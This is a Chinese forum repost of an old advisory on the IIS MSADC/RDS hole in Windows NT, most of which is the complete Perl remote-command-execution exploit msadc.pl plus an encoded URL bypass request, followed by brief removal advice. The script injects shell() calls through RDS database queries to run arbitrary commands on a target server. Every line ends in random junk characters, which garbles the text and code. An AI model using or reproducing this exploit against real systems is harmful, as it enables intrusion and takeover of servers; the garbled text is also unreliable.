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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) )(@Hd  
^4o;$u4R  
涉及程序: R=KQ  
Microsoft NT server vI@%Fg+D  
|n] d34E  
描述: FJd]D[h  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 qcT'nZ:  
c ;'[W60  
详细: 1</kTm/Qa  
如果你没有时间读详细内容的话,就删除: [ I/<_AT#  
c:\Program Files\Common Files\System\Msadc\msadcs.dll QMZ)-ty"  
有关的安全问题就没有了。 v~Y^r2  
+[tP_%/r'^  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 }m-FGk  
^7Fh{q4IE  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 5+wAzVA  
关于利用ODBC远程漏洞的描述,请参看: C/-63O_  
vEn4L0D  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm M4W5f#C5Ee  
Rx+p.  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 )[Yv?>ib  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp nb>7UN.9  
{+@bZ}57  
这里不再论述。 ~ _!F01s  
L/z),#  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: o-Ga3i 8  
Z R'H \Z  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset i _%Q`i  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! h3;bxq!q  
RG4sQ0  
O &-wxJ]S  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ]H1I,`=@  
9cj9SB4  
#!perl LA)[ip4  
# |u;v27  
# MSADC/RDS 'usage' (aka exploit) script qQH]`#P  
# \~_9G{2?  
# by rain.forest.puppy f@c`8L@g  
# pt}X>ph{  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me wLH] <k  
# beta test and find errors! nxl[d\ap+n  
10U9ZC  
use Socket; use Getopt::Std; Qg<(u?7N  
getopts("e:vd:h:XR", \%args); .?hP7;hhI  
d09k5$=gJ  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; cx0*X*  
GbaEgA'fa  
if (!defined $args{h} && !defined $args{R}) { Y"wUt &  
print qq~ x UD-iSY  
Usage: msadc.pl -h <host> { -d <delay> -X -v } qZA).12qS  
-h <host> = host you want to scan (ip or domain) 9,"L^W8"k  
-d <seconds> = delay between calls, default 1 second ,11H.E Z  
-X = dump Index Server path table, if available l c '=mA  
-v = verbose @Rw!'T  
-e = external dictionary file for step 5 v@d  
:EA\)@^$R  
Or a -R will resume a command session "l*`>5Nn9  
*v3]}g[<  
~; exit;} `{xNXH]@  
+o51x'Ld*  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; uF3qD|I\  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} t0T"@t#c  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} m RO~aD!N  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); qhz]Wm P   
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} QD>"]ap,o  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } >:|q&|x-  
<|Pun8j  
if (!defined $args{R}){ $ret = &has_msadc; ez6EjUk  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} EB8\_]6XJ  
1[vi.  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" d:U9pC$  
. "cmd /c "; [`):s= FC  
$in=<STDIN>; chomp $in; #gcF"L||  
$command="cmd /c " . $in ; se>MQM5 )  
'&|=0TDd+  
if (defined $args{R}) {&load; exit;} ,5*eX  
L~NbdaO  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; }I2@%tt?  
&try_btcustmr; fOMW"myQ  
PuZf/um  
print "\nStep 2: Trying to make our own DSN..."; iS<I0\D  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n";  MEGv}  
O~^"  
print "\nStep 3: Trying known DSNs..."; IDG}ZlG  
&known_dsn; McQe1  
1cD! :[  
print "\nStep 4: Trying known .mdbs..."; 2 FW \O0U  
&known_mdb; oczN5YSt  
C-H@8p?T  
if (defined $args{e}){ `u&Zrdr,  
print "\nStep 5: Trying dictionary of DSN names..."; }dd8N5b  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } #hsx#x||  
F;<xnC{[  
print "Sorry Charley...maybe next time?\n"; CLJ;<  
exit; TBT:/Vfun  
<h'5cO  
############################################################################## oT>(V]*5  
^cz(}N 6&  
sub sendraw { # ripped and modded from whisker t>$kWd{9e;  
sleep($delay); # it's a DoS on the server! At least on mine... >b{q.  
my ($pstr)=@_; %eO0w a$a  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || H"dJ6  
die("Socket problems\n"); iB& 4>+N+  
if(connect(S,pack "SnA4x8",2,80,$target)){ z=3\Ab  
select(S); $|=1; -#HA"7XOE  
print $pstr; my @in=<S>; sH[ROm  
select(STDOUT); close(S); u!W0P6   
return @in; +lMX{es\O  
} else { die("Can't connect...\n"); }} Y1J=3Y  
ssN6M./6  
############################################################################## ktpaU,%  
w_{wBL[3e  
sub make_header { # make the HTTP request hK,Sf ;5V  
my $msadc=<<EOT `.Qi?* ^  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 9uA>N  
User-Agent: ACTIVEDATA ]h %Wiw  
Host: $ip ~15N7=wCM  
Content-Length: $clen z3;*Em8Ir  
Connection: Keep-Alive Tap.5jHL  
h9G RI  
ADCClientVersion:01.06 MfWyc_  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 (j3xAA  
YS*9t Q{  
--!ADM!ROX!YOUR!WORLD! 65aK2MS@  
Content-Type: application/x-varg !74S  
Content-Length: $reqlen W|g4z7Pb  
hj.a&%  
EOT b KN@j'M  
; $msadc=~s/\n/\r\n/g; j?x>_#tIY  
return $msadc;} +yD`3` E  
<,e+ kL{  
############################################################################## "\o+v|;  
-RvQB  
sub make_req { # make the RDS request In<n&ib  
my ($switch, $p1, $p2)=@_; m~-K[+ya`D  
my $req=""; my $t1, $t2, $query, $dsn; m1M t#@,$  
&RnTzqv  
if ($switch==1){ # this is the btcustmr.mdb query ZWKg9%y7  
$query="Select * from Customers where City=" . make_shell(); ]X ?7ZI^  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . u /\EtSH  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} .G#8a1#  
+N:o-9  
elsif ($switch==2){ # this is general make table query `u teg=  
$query="create table AZZ (B int, C varchar(10))"; X6@WwM~qz  
$dsn="$p1";} L'0B$6  
OZ~5*v  
elsif ($switch==3){ # this is general exploit table query )6D,d5<  
$query="select * from AZZ where C=" . make_shell(); :i. {  
$dsn="$p1";} Wg<(ms dj  
.xm.DRk3  
elsif ($switch==4){ # attempt to hork file info from index server vRH d&0  
$query="select path from scope()"; iCHOv{p.  
$dsn="Provider=MSIDXS;";} 42(Lb'G  
&p4&[H?  
elsif ($switch==5){ # bad query g9Xu@N;bL  
$query="select"; K+3IWZ&+dG  
$dsn="$p1";} IV\'e}  
%~2YE  
$t1= make_unicode($query); U$WxHYo  
$t2= make_unicode($dsn); K|hjEQRv  
$req = "\x02\x00\x03\x00"; q$B>|y U  
$req.= "\x08\x00" . pack ("S1", length($t1)); EkjN{$*  
$req.= "\x00\x00" . $t1 ; O\"3J(y,  
$req.= "\x08\x00" . pack ("S1", length($t2)); <YhB8W9 P  
$req.= "\x00\x00" . $t2 ; ZL&g_jC  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 1Y7Eajt-5  
return $req;} V4'YWdTi  
5?3Me59  
############################################################################## b2OQtSr a  
=IQ5<;U3  
sub make_shell { # this makes the shell() statement lE&&_INHQ  
return "'|shell(\"$command\")|'";} {pnS  Q  
3@M|m<_R$  
############################################################################## { + Zd*)M[  
hp5|@  
sub make_unicode { # quick little function to convert to unicode '+?"iVVo  
my ($in)=@_; my $out; mUdOX7$c>  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 0"\H^  
return $out;} @M_oH:GV  
4GY[7^  
############################################################################## Rld!,t  
y)W@{@{kl  
sub rdo_success { # checks for RDO return success (this is kludge) qQ?"@>PALD  
my (@in) = @_; my $base=content_start(@in); -y8`yHb_  
if($in[$base]=~/multipart\/mixed/){ 5 ft`zf  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 117EZg]O  
return 0;} m g4nrr\  
uao0_swW5  
############################################################################## S~;4*7+?:  
b`~p.c%(  
sub make_dsn { # this makes a DSN for us w&o&jAb-M  
my @drives=("c","d","e","f"); $Bs {u=+w  
print "\nMaking DSN: "; ~M7y*'oY  
foreach $drive (@drives) { =F]FP5V  
print "$drive: "; +wN^c#~7  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ;>?rP88t  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" j}JrE,|  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); *KV0%)}sbL  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; #xQr<p$L6  
return 0 if $2 eq "404"; # not found/doesn't exist iS WU'K  
if($2 eq "200") { R3;Tk^5A  
foreach $line (@results) { b\$}>O  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Rv$[)`&T  
} return 0;} ^=RffrlZU  
Y&d00  
############################################################################## zMm#Rhn  
d%RC  
sub verify_exists { | r&k48@  
my ($page)=@_; rvbLyv;~  
my @results=sendraw("GET $page HTTP/1.0\n\n"); @|63K)Xy  
return $results[0];} BGD8w2  
] 2eK  
############################################################################## |"/8XA  
+;N2p1ZBf  
sub try_btcustmr { E_])E`BJ  
my @drives=("c","d","e","f"); :(!` /#6H  
my @dirs=("winnt","winnt35","winnt351","win","windows"); w$z}r  
{|&5_][  
foreach $dir (@dirs) { (Pf+0,2  
print "$dir -> "; # fun status so you can see progress aJ-K?xQ  
foreach $drive (@drives) { EN;}$jZ>47  
print "$drive: "; # ditto s:#V(<J  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; sk,ox~0R  
$reqlenlen=length( "$reqlen" ); mpI5J'>]  
$clen= 206 + $reqlenlen + $reqlen; g`vny)\7/  
aT)BR?OYSJ  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); oX S1QT`B  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} gQxbi1!;9  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ur$ _  
#fM#p+v  
############################################################################## dZ  rAn  
aqRhh=iS  
sub odbc_error { ypKUkH/  
my (@in)=@_; my $base; hb zC#@ q  
my $base = content_start(@in); 2ORNi,_I  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this \ 3wfwu.q  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 7\$qFF-y  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; EQb7 -vhg  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 3DiLk=\~  
return $in[$base+4].$in[$base+5].$in[$base+6];} \W1,F6&j  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; e vrXo"3  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . [S HXJ4P*  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} %k-3?%&8  
ein4^o<f.  
############################################################################## ryW'Z{+r'  
\Xm,OE_v"  
sub verbose { &]e'KdXF  
my ($in)=@_; s2'yY(u/  
return if !$verbose; q>$ev)W  
print STDOUT "\n$in\n";} ,SynnE68  
iYORu 3  
############################################################################## < Z{HX[y  
L;VoJf  
sub save { Co (.:z~  
my ($p1, $p2, $p3, $p4)=@_; y.#")IAF  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Vr6@> @SC  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; S1p;nK  
close OUT;} *.sVr7=j  
3 Nreqq  
############################################################################## 42e|LUZg  
S M0~fAtE  
sub load { tZ=E')!\  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; \ e\?I9  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); {QcLu"?c  
@p=<IN>; close(IN); gVq;m>\|F  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); QMa;Gy  
$target= inet_aton($ip) || die("inet_aton problems"); k. MUdU^  
print "Resuming to $ip ...";  tBq nf v  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; pm*xb]8y  
if($p[1]==1) { #MX'^RZ>2  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; =|M>l  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ,Sq/y~  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ohFJZ'  
if (rdo_success(@results)){print "Success!\n";} F~%]6^$w  
else { print "failed\n"; verbose(odbc_error(@results));}} //T>G_1  
elsif ($p[1]==3){ )PG6gZYW  
if(run_query("$p[3]")){ T]t+E'sQ  
print "Success!\n";} else { print "failed\n"; }} A )^`?m3  
elsif ($p[1]==4){ GN ]cDik  
if(run_query($drvst . "$p[3]")){ ]ndvt[4L  
print "Success!\n"; } else { print "failed\n"; }} 9xO#tu]  
exit;} &Sl[ lXE  
y4t7`-,~  
############################################################################## |X0Y-  
SSz~YR^}Sr  
sub create_table { bvv|;6  
my ($in)=@_; xC*6vH]?  
$reqlen=length( make_req(2,$in,"") ) - 28; T*#/^%HSG  
$reqlenlen=length( "$reqlen" ); Gb8D[1=u=  
$clen= 206 + $reqlenlen + $reqlen; ,4zmb`dP<  
my @results=sendraw(make_header() . make_req(2,$in,"")); u.mJQDTH  
return 1 if rdo_success(@results); >TOu|r  
my $temp= odbc_error(@results); verbose($temp); b7 NM#Hb  
return 1 if $temp=~/Table 'AZZ' already exists/; &y3OR1_Sm*  
return 0;} 0~ZFv Wv  
X 9p.gXF  
############################################################################## 9z}uc@#D=m  
KNS.Nw7  
sub known_dsn { jX3,c%aQ5e  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go *of3:w  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", JRSSn]pw  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 19O,a#{KHf  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); $^OvhnL/  
=+U `-J} g  
foreach $dSn (@dsns) { ue4Vcf  
print "."; 0J?~N`#O|  
next if (!is_access("DSN=$dSn")); Y' %^NP}o  
if(create_table("DSN=$dSn")){ G?E oPh^m  
print "$dSn successful\n"; iz8Bf;  
if(run_query("DSN=$dSn")){ BybW)+~  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 85n1eE  
print "Something's borked. Use verbose next time\n";}}} print "\n";} D}dn.$  
tNGp\~  
############################################################################## |?qquD 4=  
}._eIx"  
sub is_access { A6:es_  
my ($in)=@_; xnmmXtk  
$reqlen=length( make_req(5,$in,"") ) - 28; jp0<pw_  
$reqlenlen=length( "$reqlen" ); r30 <(nF  
$clen= 206 + $reqlenlen + $reqlen; <\NY<QIwFw  
my @results=sendraw(make_header() . make_req(5,$in,"")); B$b +Ymu  
my $temp= odbc_error(@results); )z&/_E=  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 'NX```U0  
return 0;} #9X70|f  
/LO -HnJ  
############################################################################## o Z%9_$Z  
H *[_cqnv  
sub run_query { D+>4AqG  
my ($in)=@_; i'9vL:3  
$reqlen=length( make_req(3,$in,"") ) - 28; ~~v3p>zRr  
$reqlenlen=length( "$reqlen" ); ?Lyxw]  
$clen= 206 + $reqlenlen + $reqlen; p?B=1vn-2  
my @results=sendraw(make_header() . make_req(3,$in,"")); 2Ou[u#H  
return 1 if rdo_success(@results); >sWp ?  
my $temp= odbc_error(@results); verbose($temp); 'yL%3h _@  
return 0;} rW+ =,L  
H-~6Z",1  
############################################################################## QA<Jr5Ys  
`&D|>tiz  
sub known_mdb { GM3f- \/  
my @drives=("c","d","e","f","g"); }o L'8-y  
my @dirs=("winnt","winnt35","winnt351","win","windows");  ~ ip,Nl  
my $dir, $drive, $mdb; QV {}K  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; K{[%7AM  
'7+4`E  
# this is sparse, because I don't know of many nq6@6GRG  
my @sysmdbs=( "\\catroot\\icatalog.mdb", QlJ)F{R8il  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", yp$_/p O=2  
"\\system32\\certmdb.mdb", xn5l0'2  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% /Y'Vh^9/T  
KO]T<R h<  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", eu(:`uu  
"\\cfusion\\cfapps\\forums\\forums_.mdb", +tVaBhd!  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", MFb9H{LA  
"\\cfusion\\cfapps\\security\\realm_.mdb", ;~"FLQg@  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 5<UVD:~z  
"\\cfusion\\database\\cfexamples.mdb", ,QcF|~n  
"\\cfusion\\database\\cfsnippets.mdb", 8>0e*jC  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", XzIl`eH  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", j#+!\ft5  
"\\cfusion\\brighttiger\\database\\cleam.mdb", S,Xnzrz  
"\\cfusion\\database\\smpolicy.mdb", ?)u@Rf9>  
"\\cfusion\\database\cypress.mdb", dYL"h.x  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", (+B5|_xQu  
"\\website\\cgi-win\\dbsample.mdb", =>M^02"  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", r7b1-  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 5*1D$mxD"  
); #these are just +R|z{M)*  
foreach $drive (@drives) { ; mZW{j  
foreach $dir (@dirs){ !4^C #{$  
foreach $mdb (@sysmdbs) { m^b Nuo  
print "."; VzY8rI  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ K?BOvDW"`  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; B]uc<`f  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ k~jP'aD  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; EL(nDv  
} else { print "Something's borked. Use verbose next time\n"; }}}}} xO&eRy?%  
fp+gyTnd3  
foreach $drive (@drives) { H[S%J3JI  
foreach $mdb (@mdbs) { qYlhlHD  
print "."; T~Gvp0r}h  
if(create_table($drv . $drive . $dir . $mdb)){ k} |   
print "\n" . $drive . $dir . $mdb . " successful\n"; #MRMNL@   
if(run_query($drv . $drive . $dir . $mdb)){ )pq;*~ IBI  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; f' 3q(a<p  
} else { print "Something's borked. Use verbose next time\n"; }}}} SV2M+5#;  
} Of4^?` ^  
"x3lQ  
############################################################################## )XYv}U   
fSs4ZXC  
sub hork_idx { yF"1#{*y  
print "\nAttempting to dump Index Server tables...\n"; =y0C1LD+  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; B2C$N0R#  
$reqlen=length( make_req(4,"","") ) - 28; JV]^zW  
$reqlenlen=length( "$reqlen" ); OH">b6>\  
$clen= 206 + $reqlenlen + $reqlen; ?XA2&  
my @results=sendraw2(make_header() . make_req(4,"","")); Z yE `/J'  
if (rdo_success(@results)){ [3{W^WSOz  
my $max=@results; my $c; my %d; cd$m25CxC  
for($c=19; $c<$max; $c++){ X pBj%e:  
$results[$c]=~s/\x00//g; PfC!lI BU  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; I?ae\X@M  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; %Ti}CwI`  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; kPF9Z "l  
$d{"$1$2"}="";}  (Q.waI  
foreach $c (keys %d){ print "$c\n"; } L IZRoG8  
} else {print "Index server doesn't seem to be installed.\n"; }} ha(Z<  
.y@oz7T5  
############################################################################## wPwXM!  
*=+td)S/1  
sub dsn_dict { `Ye\p6v!+  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); <8d^^0  
while(<IN>){ <N_+=_  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; IE9 XU9Kd  
next if (!is_access("DSN=$dSn")); W9D86]3Y  
if(create_table("DSN=$dSn")){ j( RWO  
print "$dSn successful\n"; j^^Ap  
if(run_query("DSN=$dSn")){ DDPxmuNG  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { hvDNz"ec{  
print "Something's borked. Use verbose next time\n";}}} `kZ@Zmj#  
print "\n"; close(IN);} 3td)'}  
]dI2y=[!C  
############################################################################## }^/9G17  
c@/(B:@  
sub sendraw2 { # ripped and modded from whisker ni<A3OB  
sleep($delay); # it's a DoS on the server! At least on mine... E}40oID  
my ($pstr)=@_; /4` 0?/V  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || YwZ Z{+n  
die("Socket problems\n"); Qzlo'e1  
if(connect(S,pack "SnA4x8",2,80,$target)){ ?q; Fp  
print "Connected. Getting data"; ReM=eS  
open(OUT,">raw.out"); my @in; S5G6Rj@W  
select(S); $|=1; print $pstr; ^xij{W`|  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} nij!1z|M  
close(OUT); select(STDOUT); close(S); return @in; b0Kc^uj5  
} else { die("Can't connect...\n"); }} +(C6#R<LI  
B, TB3 {  
############################################################################## WXmn1^"kK}  
vfq%H(  
sub content_start { # this will take in the server headers ds?v'|  
my (@in)=@_; my $c; lJE93rXU  
for ($c=1;$c<500;$c++) { 59O?_F9  
if($in[$c] =~/^\x0d\x0a/){ WIv?}gi: X  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } =y/8 ^^  
else { return $c+1; }}} i1>- QDYnJ  
return -1;} # it should never get here actually { Fawt:  
:&:JTa1cv  
############################################################################## $aN&nhoO<  
21< j\ M  
sub funky { U`Wauv&  
my (@in)=@_; my $error=odbc_error(@in); &<UMBAS  
if($error=~/ADO could not find the specified provider/){ c2e tc8  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ?zQA  
exit;} K9OYri^TQ  
if($error=~/A Handler is required/){ xv&Q+HD  
print "\nServer has custom handler filters (they most likely are patched)\n"; qeL5D*  
exit;} V\^EfQ  
if($error=~/specified Handler has denied Access/){  }(1JaG  
print "\nServer has custom handler filters (they most likely are patched)\n"; m<0&~rg   
exit;}} qU#BJON]BR  
3 AsT  
############################################################################## @O[}QB?/fi  
'rr^2d]`ST  
sub has_msadc { IaT$ 6\>  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); sfOHarww  
my $base=content_start(@results); D;_ MPN[  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); G=A,9@+c  
return 0;} T`Mf]s)*  
-mRA#  
######################## ,;(PwJe  
pGK;1gVj  
&&VqD w  
解决方案: yb/%?DNQT  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 3Ei5pX=g  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 w );6K[+;  
]- 4QNc=  
拿出来充数 哈哈
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